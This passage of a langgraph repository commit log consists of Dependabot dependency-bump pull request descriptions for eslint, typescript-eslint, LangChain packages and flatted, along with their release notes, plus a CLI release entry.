href="https://github.com/eslint/eslint/commit/07c4b8b4a9f49145e60a3448dd57853213ed4de3"><code>07c4b8b</code></a> test: fix <code>RuleTester</code> test without test runners (<a href="https://redirect.github.com/eslint/eslint/issues/20631">#20631</a>) (Francesco Trotta)</li> <li><a href="https://github.com/eslint/eslint/commit/079bba7ff17d0a99fdffe32bf991d005ba797fae"><code>079bba7</code></a> test: Add tests for <code>isValidWithUnicodeFlag</code> (<a href="https://redirect.github.com/eslint/eslint/issues/20601">#20601</a>) (Manish chaudhary)</li> <li><a href="https://github.com/eslint/eslint/commit/5885ae66216bcee9310bbf73786b7d7d5774aeaf"><code>5885ae6</code></a> ci: unpin Node.js 25.x in CI (<a href="https://redirect.github.com/eslint/eslint/issues/20615">#20615</a>) (Copilot)</li> <li><a href="https://github.com/eslint/eslint/commit/f65e5d3c0df65fdb317ad6d23f7ae113c5f4b6d7"><code>f65e5d3</code></a> chore: update pnpm/action-setup digest to b906aff (<a href="https://redirect.github.com/eslint/eslint/issues/20610">#20610</a>) (renovate[bot])</li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/eslint/eslint/commit/8351ec7aaa0f7d4753ff39bb9d6260f2ac9e1f1a"><code>8351ec7</code></a> 10.1.0</li> <li><a href="https://github.com/eslint/eslint/commit/3270bc12165d62646fd0edaab2c28809302663a1"><code>3270bc1</code></a> Build: changelog update for 10.1.0</li> <li><a href="https://github.com/eslint/eslint/commit/a9f9cce82d80b540a0e3549d0e91c16df28740d8"><code>a9f9cce</code></a> chore: update dependency eslint-plugin-unicorn to ^63.0.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20584">#20584</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/1f42bd7876ae4192cf7f7f4faf73b4ef3d2563cb"><code>1f42bd7</code></a> chore: update <code>prettier</code> to 3.8.1 (<a href="https://redirect.github.com/eslint/eslint/issues/20651">#20651</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/c0a6f4a2b4169edeca2a81bf7b47783e39ade366"><code>c0a6f4a</code></a> chore: update dependency <code>@​eslint/json</code> to ^1.2.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20652">#20652</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/cc43f795c42e5ec2f19bb43b1f6d534ef2e469f3"><code>cc43f79</code></a> chore: update dependency c8 to v11 (<a href="https://redirect.github.com/eslint/eslint/issues/20650">#20650</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/2ce4635b036ff2665c7009afddf9c0fb2274dceb"><code>2ce4635</code></a> chore: update dependency <code>@​eslint/json</code> to v1 (<a href="https://redirect.github.com/eslint/eslint/issues/20649">#20649</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/f0406eedcc3dc415babbbf6bbdb5db1eebfd487b"><code>f0406ee</code></a> chore: update dependency markdownlint-cli2 to ^0.21.0 (<a href="https://redirect.github.com/eslint/eslint/issues/20646">#20646</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/dbb4c9582a00bac604d5c6ac671bb7111468a846"><code>dbb4c95</code></a> chore: remove trunk (<a href="https://redirect.github.com/eslint/eslint/issues/20478">#20478</a>)</li> <li><a href="https://github.com/eslint/eslint/commit/ff4382be349035acdb170627a2dc92828e134562"><code>ff4382b</code></a> feat: apply fix for <code>no-var</code> in <code>TSModuleBlock</code> (<a href="https://redirect.github.com/eslint/eslint/issues/20638">#20638</a>)</li> <li>Additional commits viewable in <a href="https://github.com/eslint/eslint/compare/v10.0.3...v10.1.0">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/eslint-plugin` from 8.57.0 to 8.57.1 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/eslint-plugin</code>'s releases</a>.</em></p> <blockquote> <h2>v8.57.1</h2> <h2>8.57.1 (2026-03-16)</h2> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-optional-chain] no report for property on intersection type (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12126">#12126</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.1">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md"><code>@​typescript-eslint/eslint-plugin</code>'s changelog</a>.</em></p> <blockquote> <h2>8.57.1 (2026-03-16)</h2> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-optional-chain] no report for property on intersection type (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12126">#12126</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.1">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/c7c38aa252d7bf6708a225aebedc57686ac33dcd"><code>c7c38aa</code></a> chore(release): publish 8.57.1</li> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/e1146296eebbb5fa877c4145b2ba7166de9a7923"><code>e114629</code></a> fix(eslint-plugin): [prefer-optional-chain] no report for property on interse...</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.57.1/packages/eslint-plugin">compare view</a></li> </ul> </details> <br /> Updates `@typescript-eslint/parser` from 8.57.0 to 8.57.1 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/releases"><code>@​typescript-eslint/parser</code>'s releases</a>.</em></p> <blockquote> <h2>v8.57.1</h2> <h2>8.57.1 (2026-03-16)</h2> <h3>🩹 Fixes</h3> <ul> <li><strong>eslint-plugin:</strong> [prefer-optional-chain] no report for property on intersection type (<a href="https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12126">#12126</a>)</li> </ul> <h3>❤️ Thank You</h3> <ul> <li>Newton Yuan <a href="https://github.com/NewtonYuan"><code>@​NewtonYuan</code></a></li> </ul> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.1">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md"><code>@​typescript-eslint/parser</code>'s changelog</a>.</em></p> <blockquote> <h2>8.57.1 (2026-03-16)</h2> <p>This was a version bump only for parser to align it with other projects, there were no code changes.</p> <p>See <a href="https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.57.1">GitHub Releases</a> for more information.</p> <p>You can read about our <a href="https://typescript-eslint.io/users/versioning">versioning strategy</a> and <a href="https://typescript-eslint.io/users/releases">releases</a> on our website.</p> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/typescript-eslint/typescript-eslint/commit/c7c38aa252d7bf6708a225aebedc57686ac33dcd"><code>c7c38aa</code></a> chore(release): publish 8.57.1</li> <li>See full diff in <a href="https://github.com/typescript-eslint/typescript-eslint/commits/v8.57.1/packages/parser">compare view</a></li> </ul> </details> <br /> Updates `@langchain/core` from 1.1.32 to 1.1.35 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langchainjs/releases"><code>@​langchain/core</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.35</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10327">#10327</a> <a href="https://github.com/langchain-ai/langchainjs/commit/5dc11b55cccfe35e4dad910a33e904cf49b3088a"><code>5dc11b5</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core): replace exported zod type references with structural duck-type interfaces to fix TypeScript OOM</p> <p>Replaces all exported Zod type references (<code>z3.ZodType</code>, <code>z4.$ZodType</code>, etc.) in <code>@langchain/core</code>'s public API with minimal structural (&quot;duck-type&quot;) interfaces. This prevents TypeScript from performing expensive deep structural comparisons (~3,400+ lines of mutually recursive generics) when downstream packages resolve a different Zod version than <code>@langchain/core</code>, which was causing OOM crashes and unresponsive language servers in monorepo setups.</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10433">#10433</a> <a href="https://github.com/langchain-ai/langchainjs/commit/7af0b65d5ab9a173b528d6a821d269a79fbabdc6"><code>7af0b65</code></a> Thanks <a href="https://github.com/tanushree-sharma"><code>@​tanushree-sharma</code></a>! - feat: Add LangSmith integration metadata to createAgent and initChatModel</p> </li> </ul> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.34</h2> <h3>Patch Changes</h3> <ul> <li><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10312">#10312</a> <a href="https://github.com/langchain-ai/langchainjs/commit/bfb7944a105470eee98fe4a0eef91e586600e1de"><code>bfb7944</code></a> Thanks <a href="https://github.com/jacoblee93"><code>@​jacoblee93</code></a>! - feat(core): Add all invocation params as part of metadata</li> </ul> <h2><code>@​langchain/core</code><a href="https://github.com/1"><code>@​1</code></a>.1.33</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10412">#10412</a> <a href="https://github.com/langchain-ai/langchainjs/commit/6db417b03ecb5e2ace413389d982294e0ac88433"><code>6db417b</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - fix(core): respect timeout option in streamEvents v2</p> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langchainjs/pull/10424">#10424</a> <a href="https://github.com/langchain-ai/langchainjs/commit/d69dfcca97503cf1c0b7e70ccf5fb7d507c60982"><code>d69dfcc</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - fix(core): preserve multimodal content in getBufferString as placeholders</p> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/langchain-ai/langchainjs/commit/443253bd5336597d3619f2e21a8d5a814202997e"><code>443253b</code></a> chore: version packages (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10469">#10469</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/005d4a15222b636702fe8d04fc4ea2d8b84d9b06"><code>005d4a1</code></a> chore(deps-dev): bump fast-xml-parser from 5.5.6 to 5.5.7 (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10473">#10473</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/63b72689a1f245037aaa7d910ea4b881ead84856"><code>63b7268</code></a> fix(<code>@​langchain/google</code>) Duplicate function call (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10493">#10493</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/75e9d56926988dc355c9e5cf63af05a4b378cdf2"><code>75e9d56</code></a> fix: support structured output (providerStrategy) for Google Gemini models in...</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/21094f31d99e30a9c8433072523cb08b8539c1ab"><code>21094f3</code></a> Create nasty-cars-fold.md</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/ab11688f4e3cf53cc6bb9202a595f5f953277764"><code>ab11688</code></a> format</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/b741848a2ce02e82b6acaa15ce40b90f569b0660"><code>b741848</code></a> add google response schema to invokation params</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/0c1420631df8b9823435f6d7bd518f34fd51bafb"><code>0c14206</code></a> fix: patch 30+ Dependabot security alerts (critical/high/medium) (<a href="https://redirect.github.com/langchain-ai/langchainjs/issues/10488">#10488</a>)</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/ec2b0b5cb0a14038019ec88ec457fd7aa77bf3ed"><code>ec2b0b5</code></a> structured output via model profiles</li> <li><a href="https://github.com/langchain-ai/langchainjs/commit/5dc11b55cccfe35e4dad910a33e904cf49b3088a"><code>5dc11b5</code></a> fix(core): replace exported zod type references with structural interfaces to...</li> <li>Additional commits viewable in <a href="https://github.com/langchain-ai/langchainjs/compare/@langchain/core@1.1.32...@langchain/core@1.1.35">compare view</a></li> </ul> </details> <br /> Updates `@langchain/langgraph` from 1.2.2 to 1.2.5 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/releases"><code>@​langchain/langgraph</code>'s releases</a>.</em></p> <blockquote> <h2><code>@​langchain/langgraph</code><a href="https://github.com/1"><code>@​1</code></a>.2.5</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2213">#2213</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/a09932a203062d52e98e6dc5fd80ab572b123700"><code>a09932a</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core): prevent AbortSignal listener leak in stream() and streamEvents()</p> <p><code>Pregel.stream()</code> and <code>streamEvents()</code> called <code>combineAbortSignals()</code> but discarded the <code>dispose</code> function, leaking one abort listener on the caller's signal per invocation. Over many invocations this caused unbounded memory growth as each leaked listener retained references to its associated graph execution state.</p> <ul> <li>Use <code>AbortSignal.any()</code> on Node 20+ which handles listener lifecycle automatically via GC</li> <li>Fall back to manual listener management on Node 18, with proper <code>dispose()</code> called when the stream completes or is cancelled</li> </ul> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2210">#2210</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/4d2e9483208e105b7c45ab1cbc8ac8d540fbb23d"><code>4d2e948</code></a> Thanks <a href="https://github.com/jackjin1997"><code>@​jackjin1997</code></a>! - Fix <code>AnyValue.update()</code> returning <code>false</code> instead of <code>true</code> when values are received, aligning with all other channel implementations.</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/414a7adf908ba4f7ffef4985df3a95f14202591b"><code>414a7ad</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.8.0</li> </ul> </li> </ul> <h2><code>@​langchain/langgraph</code><a href="https://github.com/1"><code>@​1</code></a>.2.4</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a> Thanks <a href="https://github.com/christian-bromann"><code>@​christian-bromann</code></a>! - fix(sdk): fetch subagent history</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.7.5</li> </ul> </li> </ul> <h2><code>@​langchain/langgraph</code><a href="https://github.com/1"><code>@​1</code></a>.2.3</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2176">#2176</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/ad48dee9dcaf29c718c9f6b1c188756c14e85a0f"><code>ad48dee</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - fix(state): merge jsonSchemaExtra in getInputJsonSchema()</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/8fec72ae98b117b79048403d0f7ad75d653c090b"><code>8fec72a</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/a9ff2efdf0a2b6ff0301eedfff541e125c1e6300"><code>a9ff2ef</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/a24bb550fb81271c505b9cab0295d8e599aaeb79"><code>a24bb55</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/b80076c5a7fc1b6985abc1fd9c367438ba6ca968"><code>b80076c</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/b6cfe555bfb498fe24fa85847f0fe5d1194dfa39"><code>b6cfe55</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.7.3</li> <li><code>@​langchain/langgraph-checkpoint</code><a href="https://github.com/1"><code>@​1</code></a>.0.1</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/langchain-ai/langgraphjs/blob/main/libs/langgraph-core/CHANGELOG.md"><code>@​langchain/langgraph</code>'s changelog</a>.</em></p> <blockquote> <h2>1.2.5</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2213">#2213</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/a09932a203062d52e98e6dc5fd80ab572b123700"><code>a09932a</code></a> Thanks <a href="https://github.com/hntrl"><code>@​hntrl</code></a>! - fix(core): prevent AbortSignal listener leak in stream() and streamEvents()</p> <p><code>Pregel.stream()</code> and <code>streamEvents()</code> called <code>combineAbortSignals()</code> but discarded the <code>dispose</code> function, leaking one abort listener on the caller's signal per invocation. Over many invocations this caused unbounded memory growth as each leaked listener retained references to its associated graph execution state.</p> <ul> <li>Use <code>AbortSignal.any()</code> on Node 20+ which handles listener lifecycle automatically via GC</li> <li>Fall back to manual listener management on Node 18, with proper <code>dispose()</code> called when the stream completes or is cancelled</li> </ul> </li> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2210">#2210</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/4d2e9483208e105b7c45ab1cbc8ac8d540fbb23d"><code>4d2e948</code></a> Thanks <a href="https://github.com/jackjin1997"><code>@​jackjin1997</code></a>! - Fix <code>AnyValue.update()</code> returning <code>false</code> instead of <code>true</code> when values are received, aligning with all other channel implementations.</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/414a7adf908ba4f7ffef4985df3a95f14202591b"><code>414a7ad</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.8.0</li> </ul> </li> </ul> <h2>1.2.4</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a> Thanks <a href="https://github.com/christian-bromann"><code>@​christian-bromann</code></a>! - fix(sdk): fetch subagent history</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/fe4dd5b85d285f78b6d499b1f1013927931ea634"><code>fe4dd5b</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.7.5</li> </ul> </li> </ul> <h2>1.2.3</h2> <h3>Patch Changes</h3> <ul> <li> <p><a href="https://redirect.github.com/langchain-ai/langgraphjs/pull/2176">#2176</a> <a href="https://github.com/langchain-ai/langgraphjs/commit/ad48dee9dcaf29c718c9f6b1c188756c14e85a0f"><code>ad48dee</code></a> Thanks <a href="https://github.com/pawel-twardziak"><code>@​pawel-twardziak</code></a>! - fix(state): merge jsonSchemaExtra in getInputJsonSchema()</p> </li> <li> <p>Updated dependencies [<a href="https://github.com/langchain-ai/langgraphjs/commit/8fec72ae98b117b79048403d0f7ad75d653c090b"><code>8fec72a</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/a9ff2efdf0a2b6ff0301eedfff541e125c1e6300"><code>a9ff2ef</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/a24bb550fb81271c505b9cab0295d8e599aaeb79"><code>a24bb55</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/b80076c5a7fc1b6985abc1fd9c367438ba6ca968"><code>b80076c</code></a>, <a href="https://github.com/langchain-ai/langgraphjs/commit/b6cfe555bfb498fe24fa85847f0fe5d1194dfa39"><code>b6cfe55</code></a>]:</p> <ul> <li><code>@​langchain/langgraph-sdk</code><a href="https://github.com/1"><code>@​1</code></a>.7.3</li> <li><code>@​langchain/langgraph-checkpoint</code><a href="https://github.com/1"><code>@​1</code></a>.0.1</li> </ul> </li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li>See full diff in <a href="https://github.com/langchain-ai/langgraphjs/commits/@langchain/langgraph@1.2.5/libs/langgraph-core">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-03-23 09:39:36 -07:00
3 people	3ffabc2f94	chore(deps): bump flatted from 3.3.3 to 3.4.2 in /libs/cli/js-monorepo-example (#7236) ... Bumps [flatted](https://github.com/WebReflection/flatted) from 3.3.3 to 3.4.2. <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/WebReflection/flatted/commit/3bf09091c3562e17a0647bc06710dd6097079cf7"><code>3bf0909</code></a> 3.4.2</li> <li><a href="https://github.com/WebReflection/flatted/commit/885ddcc33cf9657caf38c57c7be45ae1c5272802"><code>885ddcc</code></a> fix CWE-1321</li> <li><a href="https://github.com/WebReflection/flatted/commit/0bdba705d130f00892b1b8fcc80cf4cdea0631e3"><code>0bdba70</code></a> added flatted-view to the benchmark</li> <li><a href="https://github.com/WebReflection/flatted/commit/2a02dce7c641dec31194c67663f9b0b12e62da20"><code>2a02dce</code></a> 3.4.1</li> <li><a href="https://github.com/WebReflection/flatted/commit/fba4e8f2e113665da275b19cd0f695f3d98e9416"><code>fba4e8f</code></a> Merge pull request <a href="https://redirect.github.com/WebReflection/flatted/issues/89">#89</a> from WebReflection/python-fix</li> <li><a href="https://github.com/WebReflection/flatted/commit/5fe86485e6df7f7f34a07a2a85498bd3e17384e7"><code>5fe8648</code></a> added &quot;when in Rome&quot; also a test for PHP</li> <li><a href="https://github.com/WebReflection/flatted/commit/53517adbefe724fe472b2f9ebcdb01910d0ae3f0"><code>53517ad</code></a> some minor improvement</li> <li><a href="https://github.com/WebReflection/flatted/commit/b3e2a0c387bf446435fec45ad7f05299f012346f"><code>b3e2a0c</code></a> Fixing recursion issue in Python too</li> <li><a href="https://github.com/WebReflection/flatted/commit/c4b46dbcbf782326e54ea1b65d3ebb1dc7a23fad"><code>c4b46db</code></a> Add SECURITY.md for security policy and reporting</li> <li><a href="https://github.com/WebReflection/flatted/commit/f86d071e0f70de5a7d8200198824a3f07fc9c988"><code>f86d071</code></a> Create dependabot.yml for version updates</li> <li>Additional commits viewable in <a href="https://github.com/WebReflection/flatted/compare/v3.3.3...v3.4.2">compare view</a></li> </ul> </details> <br /> [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/langchain-ai/langgraph/network/alerts). </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-03-23 09:39:17 -07:00
3 people	c3e70d67d9	chore(deps): bump flatted from 3.3.1 to 3.4.2 in /libs/cli/js-examples (#7230) ... Bumps [flatted](https://github.com/WebReflection/flatted) from 3.3.1 to 3.4.2. <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/WebReflection/flatted/commit/3bf09091c3562e17a0647bc06710dd6097079cf7"><code>3bf0909</code></a> 3.4.2</li> <li><a href="https://github.com/WebReflection/flatted/commit/885ddcc33cf9657caf38c57c7be45ae1c5272802"><code>885ddcc</code></a> fix CWE-1321</li> <li><a href="https://github.com/WebReflection/flatted/commit/0bdba705d130f00892b1b8fcc80cf4cdea0631e3"><code>0bdba70</code></a> added flatted-view to the benchmark</li> <li><a href="https://github.com/WebReflection/flatted/commit/2a02dce7c641dec31194c67663f9b0b12e62da20"><code>2a02dce</code></a> 3.4.1</li> <li><a href="https://github.com/WebReflection/flatted/commit/fba4e8f2e113665da275b19cd0f695f3d98e9416"><code>fba4e8f</code></a> Merge pull request <a href="https://redirect.github.com/WebReflection/flatted/issues/89">#89</a> from WebReflection/python-fix</li> <li><a href="https://github.com/WebReflection/flatted/commit/5fe86485e6df7f7f34a07a2a85498bd3e17384e7"><code>5fe8648</code></a> added &quot;when in Rome&quot; also a test for PHP</li> <li><a href="https://github.com/WebReflection/flatted/commit/53517adbefe724fe472b2f9ebcdb01910d0ae3f0"><code>53517ad</code></a> some minor improvement</li> <li><a href="https://github.com/WebReflection/flatted/commit/b3e2a0c387bf446435fec45ad7f05299f012346f"><code>b3e2a0c</code></a> Fixing recursion issue in Python too</li> <li><a href="https://github.com/WebReflection/flatted/commit/c4b46dbcbf782326e54ea1b65d3ebb1dc7a23fad"><code>c4b46db</code></a> Add SECURITY.md for security policy and reporting</li> <li><a href="https://github.com/WebReflection/flatted/commit/f86d071e0f70de5a7d8200198824a3f07fc9c988"><code>f86d071</code></a> Create dependabot.yml for version updates</li> <li>Additional commits viewable in <a href="https://github.com/WebReflection/flatted/compare/v3.3.1...v3.4.2">compare view</a></li> </ul> </details> <br /> [](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores) Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself) - `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself) You can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/langchain-ai/langgraph/network/alerts). </details> Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>	2026-03-23 09:39:07 -07:00
Andrew NguonlyandGitHub	65572a0e6d	release: Create new release for CLI version 0.4.19. (#7232) ... ### Summary This release includes an update for the `langgraph` CLI: `langgraph deploy revisions list`.	2026-03-20 13:54:06 -07:00
